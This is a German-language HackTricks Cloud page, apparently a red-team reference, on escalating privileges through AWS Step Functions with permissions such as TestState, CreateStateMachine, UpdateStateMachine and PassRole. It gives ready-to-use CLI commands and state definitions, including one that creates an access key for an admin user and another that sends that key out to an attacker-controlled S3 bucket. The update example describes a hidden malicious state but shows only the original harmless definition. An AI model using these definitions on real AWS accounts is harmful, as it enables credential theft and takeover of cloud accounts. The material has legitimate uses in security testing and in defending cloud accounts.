AWS - Step Functions Privesc
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Step Functions
Für weitere Informationen zu diesem AWS-Service, siehe:
Task-Ressourcen
Für diese privilege escalation-Techniken ist es erforderlich, bestimmte AWS Step Functions-Ressourcen zu verwenden, um die gewünschten privilege escalation-Aktionen durchzuführen.
Um alle möglichen Aktionen zu prüfen, können Sie in Ihrem AWS-Konto die gewünschte Aktion auswählen und die verwendeten Parameter einsehen, wie hier:

Oder Sie können auch in die API-Dokumentation von AWS gehen und die Dokumentation jeder Aktion prüfen:
states:TestState & iam:PassRole
Ein Angreifer mit den Berechtigungen states:TestState und iam:PassRole kann jeden State testen und beliebige IAM-Rollen an diesen übergeben, ohne eine bestehende state machine zu erstellen oder zu aktualisieren, was potenziell unbefugten Zugriff auf andere AWS-Services mit den Berechtigungen der Rollen ermöglicht. In Kombination können diese Berechtigungen zu umfangreichen unbefugten Aktionen führen — von der Manipulation von Workflows und der Änderung von Daten bis hin zu Datenlecks, Ressourcenmanipulation und privilege escalation.
aws stepfunctions test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]
Die folgenden Beispiele zeigen, wie man einen State testet, der einen Access Key für den Benutzer admin erstellt, indem diese Berechtigungen und eine permissive Rolle der AWS-Umgebung genutzt werden. Diese permissive Rolle sollte eine beliebige hochprivilegierte Policy zugeordnet haben (zum Beispiel arn:aws:iam::aws:policy/AdministratorAccess), die dem State erlaubt, die Aktion iam:CreateAccessKey auszuführen:
- stateDefinition.json:
{
"Type": "Task",
"Parameters": {
"UserName": "admin"
},
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"End": true
}
- Befehl ausgeführt, um die privesc durchzuführen:
aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam::<account-id>:role/PermissiveRole
{
"output": "{
\"AccessKey\":{
\"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\",
\"CreateDate\":\"2024-07-09T16:59:11Z\",
\"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\",
\"Status\":\"Active\",
\"UserName\":\"admin\"
}
}",
"status": "SUCCEEDED"
}
Potentielle Auswirkungen: Unbefugte Ausführung und Manipulation von Workflows sowie Zugriff auf sensible Ressourcen, was zu erheblichen Sicherheitsverletzungen führen kann.
states:CreateStateMachine & iam:PassRole & (states:StartExecution | states:StartSyncExecution)
Ein Angreifer mit den states:CreateStateMachine & iam:PassRole Rechten könnte eine state machine erstellen und ihr eine beliebige IAM-Rolle zuweisen, wodurch unbefugter Zugriff auf andere AWS-Services mit den Berechtigungen dieser Rolle möglich wird. Im Gegensatz zu der vorherigen privesc-Technik (states:TestState & iam:PassRole) führt sich diese nicht von selbst aus; Sie benötigen zusätzlich die Berechtigungen states:StartExecution oder states:StartSyncExecution (states:StartSyncExecution ist nicht für standard workflows verfügbar, nur für express state machines), um eine Ausführung der state machine zu starten.
# Create a state machine
aws stepfunctions create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
# Start a state machine execution
aws stepfunctions start-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
# Start a Synchronous Express state machine execution
aws stepfunctions start-sync-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
Die folgenden Beispiele zeigen, wie man eine state machine erstellt, die einen access key für den admin-Benutzer erzeugt und diesen access key in einen vom Angreifer kontrollierten S3-Bucket exfiltriert, indem diese Berechtigungen und eine permissive Rolle der AWS-Umgebung ausgenutzt werden. Diese permissive Rolle sollte eine hochprivilegierte Policy enthalten (z. B. arn:aws:iam::aws:policy/AdministratorAccess), die der state machine erlaubt, die Aktionen iam:CreateAccessKey und s3:putObject auszuführen.
- stateMachineDefinition.json:
{
"Comment": "Malicious state machine to create IAM access key and upload to S3",
"StartAt": "CreateAccessKey",
"States": {
"CreateAccessKey": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"Parameters": {
"UserName": "admin"
},
"ResultPath": "$.AccessKeyResult",
"Next": "PrepareS3PutObject"
},
"PrepareS3PutObject": {
"Type": "Pass",
"Parameters": {
"Body.$": "$.AccessKeyResult.AccessKey",
"Bucket": "attacker-controlled-S3-bucket",
"Key": "AccessKey.json"
},
"ResultPath": "$.S3PutObjectParams",
"Next": "PutObject"
},
"PutObject": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:s3:putObject",
"Parameters": {
"Body.$": "$.S3PutObjectParams.Body",
"Bucket.$": "$.S3PutObjectParams.Bucket",
"Key.$": "$.S3PutObjectParams.Key"
},
"End": true
}
}
}
- Befehl ausgeführt, um die Zustandsmaschine zu erstellen:
aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole
{
"stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine",
"creationDate": "2024-07-09T20:29:35.381000+02:00"
}
- Befehl ausgeführt, um eine Ausführung der zuvor erstellten state machine zu starten:
aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine
{
"executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f",
"startDate": "2024-07-09T20:33:35.466000+02:00"
}
Warning
Der vom Angreifer kontrollierte S3 bucket sollte Berechtigungen haben, um eine s3:PutObject-Aktion vom Opferkonto zu akzeptieren.
Mögliche Auswirkungen: Unautorisierte Ausführung und Manipulation von Workflows und Zugriff auf sensible Ressourcen, was potenziell zu erheblichen Sicherheitsverletzungen führen kann.
states:UpdateStateMachine & (nicht immer erforderlich) iam:PassRole
Ein Angreifer mit der Berechtigung states:UpdateStateMachine wäre in der Lage, die Definition einer state machine zu ändern und zusätzliche, unauffällige States hinzuzufügen, die zu einer Privilegieneskalation führen können. Auf diese Weise wird beim Start einer Ausführung der state machine durch einen legitimen Benutzer dieser neue bösartige, versteckte State ausgeführt und die Privilegieneskalation erfolgreich.
Abhängig davon, wie permissiv die der state machine zugewiesene IAM Role ist, würde der Angreifer vor 2 Situationen stehen:
- Permissive IAM Role: Wenn die der state machine zugeordnete IAM Role bereits permissive ist (z. B. hat sie die Richtlinie
arn:aws:iam::aws:policy/AdministratorAccessangehängt), dann wäre die Berechtigungiam:PassRolefür eine Eskalation nicht erforderlich, da es nicht nötig wäre, auch die IAM Role zu aktualisieren — die Änderung der state machine-Definition genügt. - Not permissive IAM Role: Im Gegensatz zum vorherigen Fall würde der Angreifer hier zusätzlich die Berechtigung
iam:PassRolebenötigen, da es notwendig wäre, neben der Änderung der state machine-Definition auch eine permissive IAM Role mit der state machine zu verknüpfen.
aws stepfunctions update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
Die folgenden Beispiele zeigen, wie man eine legitime State Machine, die lediglich eine HelloWorld Lambda-Funktion aufruft, aktualisiert, um einen zusätzlichen State hinzuzufügen, der den Benutzer unprivilegedUser zur administrator IAM Group hinzufügt. Auf diese Weise wird, wenn ein legitimer Benutzer eine Ausführung der aktualisierten State Machine startet, dieser neue, heimliche bösartige State ausgeführt und die Privilegieneskalation erfolgreich sein.
Warning
Falls die State Machine nicht mit einer permissiven IAM Role verknüpft ist, wird außerdem die Berechtigung
iam:PassRolebenötigt, um die IAM Role zu aktualisieren, damit eine permissive IAM Role zugewiesen werden kann (zum Beispiel eine mit derarn:aws:iam::aws:policy/AdministratorAccessPolicy angehängt).
{
"Comment": "Hello world from Lambda state machine",
"StartAt": "Start PassState",
"States": {
"Start PassState": {
"Type": "Pass",
"Next": "LambdaInvoke"
},
"LambdaInvoke": {
"Type": "Task",
"Resource": "arn:aws:states:::lambda:invoke",
"Parameters": {
"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
},
"Next": "End PassState"
},
"End PassState": {
"Type": "Pass",
"End": true
}
}
}
- Befehl, ausgeführt, um die legitime State Machine zu aktualisieren:
aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json
{
"updateDate": "2024-07-10T20:07:10.294000+02:00",
"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
}
Potenzielle Auswirkungen: Unbefugte Ausführung und Manipulation von Workflows sowie Zugriff auf sensible Ressourcen, was potenziell zu erheblichen Sicherheitsverletzungen führen kann.
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks Cloud

